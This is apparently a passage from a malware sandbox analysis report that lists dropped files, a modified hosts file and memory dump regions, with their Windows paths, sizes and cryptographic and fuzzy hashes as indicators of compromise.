SSDEEP 1536:zg6Z54QkC2wpk2c+ZCDHKklh74RTfIEtaYQ0:M6Z54ARcIxk4LIEtaYj
MD5 SHA1 SHA512 SSDEEP

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wpcap.dll

Path C:\Windows\SysWOW64\wpcap.dll
Size 275KB
SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
MD5 4633b298d57014627831ccac89a2c50b
SHA1 e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA512 29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
SSDEEP 6144:E4yIm5rC9WNWwKcNBSCiLvK8+jKgZBwIbg2:jyIm59WwpqCuEKIwv2
MD5 SHA1 SHA512 SSDEEP

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792.dmp

Path C:\Windows\TEMP\kfesmkaky\792.dmp
Size 2.0MB
SHA256 13b73d7996ce2946fae3ce4780ac0c92924e390431492c8728f805756e035215
MD5 b080d10460f64cff62c39a2ed7cd0e10
SHA1 cab7b5d96a35075e446b3357f487fad5f321f6a9
SHA512 05b06b61bfb0f5cc24e37fae2e22386e8f7c8f60d1a04e91f248370f9b82bb8b8ffb5639be9e339b5dd83e53064e20469b0a9fb6545cd43a34ca62a5034f658f
SSDEEP 12288:Q5vof1kjo9R93M2xHYMG7BkTAhhAo6noemP253Jb:zjBM2G37BkTAhhAokyP2V
MD5 SHA1 SHA512 SSDEEP

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aeytjhyzj.exe

Path C:\Windows\Temp\kfesmkaky\aeytjhyzj.exe
Size 126KB
SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
MD5 e8d45731654929413d79b3818d6a5011
SHA1 23579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA512 df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
SSDEEP 3072:S87vdHRv2cf+xfkXQcsjBefXMTpmaRh+X7/UB7aglybvczXEXVHL:S8Nx2kRQRtmXuxROcBeiyb0XE
MD5 SHA1 SHA512 SSDEEP

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System.dll

Path C:\Windows\Temp\nsu9184.tmp\System.dll
Size 11KB
SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
MD5 2ae993a2ffec0c137eb51c8832691bcb
SHA1 98e0b37b7c14890f8a599f35678af5e9435906e1
SHA512 2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
SSDEEP 192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn
MD5 SHA1 SHA512 SSDEEP

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nsExec.dll

Path C:\Windows\Temp\nsu9184.tmp\nsExec.dll
Size 6KB
SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
MD5 b648c78981c02c434d6a04d4422a6198
SHA1 74d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA512 219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
SSDEEP 96:U7GUxNkO6GR0t9GKKr1Zd8NHYVVHp4dEeY3kRnHdMqqyVgNN3e:mXhHR0aTQN4gRHdMqJVgNE
MD5 SHA1 SHA512 SSDEEP

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mghfsiy.exe

Path C:\Windows\atiufaue\mghfsiy.exe
Size 8.6MB
SHA256 5836b30a11fe8cd4d8f0c14fd5afe20268e07e73dea7da88c825bd0217381392
MD5 6df3d6bc50d47aae004f806ab63cd7bf
SHA1 c50afef4f4ea31a28d8a65b3d7c2531d2b2d6761
SHA512 6f39d0b757cc7f65e13070f3b17a122000baf702f1097aeac9235c607a0a29375badb609b1b8b56ec32bbe3b7647dc910e5d7dfeb7b219477761b2bf5a077eab
SSDEEP 196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
MD5 SHA1 SHA512 SSDEEP

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vfshost.exe

Path C:\Windows\kfesmkaky\Corporate\vfshost.exe
Size 381KB
SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
MD5 fd5efccde59e94eec8bb2735aa577b2b
SHA1 51aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA512 74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
SSDEEP 6144:Nb2oBq5C4PmDv0Jdu3mU0S7hJkb6HtJCUzMwF0Smf9dBYOZBiTsGsDA:Nb2oh4PmDv0m3mZ2q6H/CUzMwFVUdbTE
MD5 SHA1 SHA512 SSDEEP

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myfdjeyae.exe

Path C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe
Size 332KB
SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
MD5 ea774c81fe7b5d9708caa278cf3f3c68
SHA1 fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA512 7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
SSDEEP 6144:Ivx5xQU1qp9wIirKxl+mdzGaqdWa/fx9cufQNn8QOohgM4nK6mwBLaq:+x71qpeIirCl+mKdWa/IuOn8QOcgPNg
MD5 SHA1 SHA512 SSDEEP

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wpcap.exe

Path C:\Windows\kfesmkaky\ljlebekct\wpcap.exe
Size 424KB
SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
MD5 e9c001647c67e12666f27f9984778ad6
SHA1 51961af0a52a2cc3ff2c4149f8d7011490051977
SHA512 56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
SSDEEP 6144:QMfCdwTjPBATlmSfB0KYljf/ZH/6xNEN3MUFPuprkjUhUmpqV/TW6cDBvKasW6B:tCdM9AhHfTYexNYeFkyU/JTg1KRp
MD5 SHA1 SHA512 SSDEEP

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hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53
MD5 c838e174298c403c2bbdf3cb4bdbb597
SHA1 70eeb7dfad9488f14351415800e67454e2b4b95b
SHA512 c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376
MD5 SHA1 SHA512

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memory/1624-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

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memory/4640-135-0x00007FF723B30000-0x00007FF723C1E000-memory.dmp

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memory/4640-136-0x00007FF723B30000-0x00007FF723C1E000-memory.dmp

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memory/4872-77-0x0000000000CA0000-0x0000000000CEC000-memory.dmp

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memory/5008-140-0x00007FF6C1B60000-0x00007FF6C1BBB000-memory.dmp

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memory/5008-143-0x00007FF6C1B60000-0x00007FF6C1BBB000-memory.dmp

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